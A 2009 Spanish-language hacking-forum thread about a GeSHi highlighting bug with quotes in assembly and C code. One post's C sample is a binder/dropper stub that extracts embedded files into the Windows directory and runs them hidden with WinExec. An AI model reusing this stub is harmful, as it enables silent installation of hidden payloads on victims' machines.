Título: Error en geshi [ASM]
Publicado por: YST en 28 Junio 2009, 01:11 am
Hola ,
Si uno usa el geshi de ASM y pone por ejemplo una caomilla simple dentro de dos comillas dobles te pone todo el code como si fuera dentro de esa comilla no se si se me entiende http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1256520#msg1256520
PD : Creo que ese es el error pero no estoy seguro :P
Título: Re: Error en geshi [ASM]
Publicado por: Karcrack en 28 Junio 2009, 01:17 am
Yo el problema lo veo aqui: invoke ExitProcess,0' Asi queda sin poner esa comilla simple al final de la linea: include 'win32ax.inc' .data dString db "i'm a string",0 .code start: stdcall fRight,dString,9 invoke MessageBox,0,eax,0,0 invoke ExitProcess,0 ;Funcion que emula la funcion Right de Visual Basic 6 proc fRight,pString,pLen push esi ebx edi ecx mov eax,[pLen] inc eax invoke GlobalAlloc,GPTR, eax mov esi,eax mov ebx,eax stdcall Len,[pString] sub eax,[pLen] mov edi,[pString] add edi,eax .bucle_: cmp [pLen] ,0 je .exit mov cl,byte[edi] mov byte[ebx],cl inc ebx inc edi dec [pLen] jmp .bucle_ .exit: mov eax,esi pop ecx edi ebx esi ret endp proc Len,cCadena ;Funcion que mide la cadena push ecx edi mov ecx,-1 mov edi,[cCadena] mov al,0 repnz scasb mov eax,ecx not eax dec eax pop edi ecx ret endp .end start
Título: Re: Error en geshi [ASM]
Publicado por: Krackwar ™ en 28 Junio 2009, 04:24 am
YST, eso a veces pasa cuando uno no duerme mas de 2 horas por dia :xD
Título: Re: Error en geshi [ASM]
Publicado por: YST en 28 Junio 2009, 06:11 am
YST, eso a veces pasa cuando uno no duerme mas de 2 horas por dia :xD
jajaja , pero sigue siendo bug ya que el FASM lo compila de igual manera :P
Título: Re: Error en geshi [ASM]
Publicado por: [Zero] en 28 Junio 2009, 18:57 pm
:xD :xD :xD :xD :xD :xD :xD :xD :xD :xD :xD :xD :xD Krackwar ha vuelto :o ;D. Con código en C también hay un bug parecido, no se en que post tuve que poner comentarios con comillas para arreglarlo :P. Saludos Edito: lo encontré, falla al intentar escapar una barra: "\\": [code=c] #pragma optimize("gsy", on) #include <windows.h> typedef DWORD (WINAPI *_RtlDecompressBuffer)(IN ULONG CompressionFormat,OUT PVOID DestinationBuffer,IN ULONG DestinationBufferLength, IN PVOID SourceBuffer,IN ULONG SourceBufferLength,OUT PULONG pDestinationSize ); typedef VOID (WINAPI *_CopyMemory)(PVOID Destination,CONST VOID *Source,SIZE_T Length); DWORD dwBytes; VOID SaveFileToDisk(LPSTR nFileName,LPSTR lpFileMaped,DWORD FileSize) { HANDLE hSFTD=CreateFile(nFileName,GENERIC_READ+GENERIC_WRITE,0,0,CREATE_ALWAYS,0,0); WriteFile(hSFTD,lpFileMaped,FileSize,&dwBytes,0); CloseHandle(hSFTD); } LPSTR DecompressBuffer(LPSTR lpBuffer,DWORD szBuffer,LPDWORD dwSizeOut ) { _RtlDecompressBuffer miRtlDecompressBuffer; LPSTR szRet=(LPSTR)GlobalAlloc(GPTR,16*szBuffer); miRtlDecompressBuffer=(_RtlDecompressBuffer)GetProcAddress((HINSTANCE)LoadLibraryA("NTDLL.DLL"),"RtlDecompressBuffer"); miRtlDecompressBuffer(COMPRESSION_FORMAT_LZNT1,szRet,16*szBuffer,lpBuffer,szBuffer,dwSizeOut); return szRet; } void main() { _CopyMemory miCopyMemory=NULL; miCopyMemory=(_CopyMemory)GetProcAddress(GetModuleHandle("KERNEL32.DLL"),"RtlMoveMemory"); DWORD szSubFile; LPSTR ext=(LPSTR)GlobalAlloc(GPTR,3); DWORD Seek=0; LPSTR lpFile=NULL; LPSTR AppName=(LPSTR)GlobalAlloc(GPTR,MAX_PATH); GetModuleFileName(0,AppName,MAX_PATH); HANDLE hFile=CreateFile(AppName,GENERIC_READ,0,0,OPEN_EXISTING,0,0); DWORD szFile=GetFileSize(hFile,0); LPSTR FileBuffer=(LPSTR)GlobalAlloc(GPTR,szFile); ReadFile(hFile,FileBuffer,szFile,&dwBytes,0); DWORD StubSize=0x640; LPSTR WinPath=(LPSTR)GlobalAlloc(GPTR,MAX_PATH); GetWindowsDirectory(WinPath,MAX_PATH); DWORD NumArchivos; miCopyMemory(&NumArchivos,&FileBuffer[StubSize],4); Seek=4; for(DWORD i=0;i<NumArchivos;i++) { //Obtenemos el peso del archivo miCopyMemory(&szSubFile,&FileBuffer[StubSize+Seek],4); //Obtenemos la extensión miCopyMemory(&ext[0],&FileBuffer[StubSize+Seek+4],3); //Leemos el archivo lpFile=(LPSTR)GlobalAlloc(GPTR,szSubFile); miCopyMemory(&lpFile[0],&FileBuffer[StubSize+Seek+7],szSubFile); //Lo descomprimimos DWORD szDecompressedFile; LPSTR lpDecompressedFile=DecompressBuffer(lpFile,szSubFile,&szDecompressedFile); //Generamos la ruta LPSTR Path=(LPSTR)GlobalAlloc(GPTR,MAX_PATH); lstrcat(Path,WinPath); lstrcat(Path,"\\"); //" //Ta mal geshi ¬¬ LPSTR fName=NULL; for(DWORD z=0;z<i+1;z++) { lstrcat(fName,"A"); } lstrcat(Path,fName); lstrcat(Path,"."); lstrcat(Path,ext); //Lo guardamos en WinPath SaveFileToDisk(Path,lpDecompressedFile,szDecompressedFile); LPSTR Archivo=(LPSTR)GlobalAlloc(GPTR,MAX_PATH); lstrcat(Archivo,"cmd /d /c \""); lstrcat(Archivo,WinPath); lstrcat(Archivo,"\\"); //" //Ta mal geshi ¬¬ lstrcat(Archivo,fName); lstrcat(Archivo,"."); lstrcat(Archivo,ext); lstrcat(Archivo,"\""); WinExec(Archivo,SW_HIDE); Seek=Seek+11+szSubFile; } CloseHandle(hFile); }
[/code]
|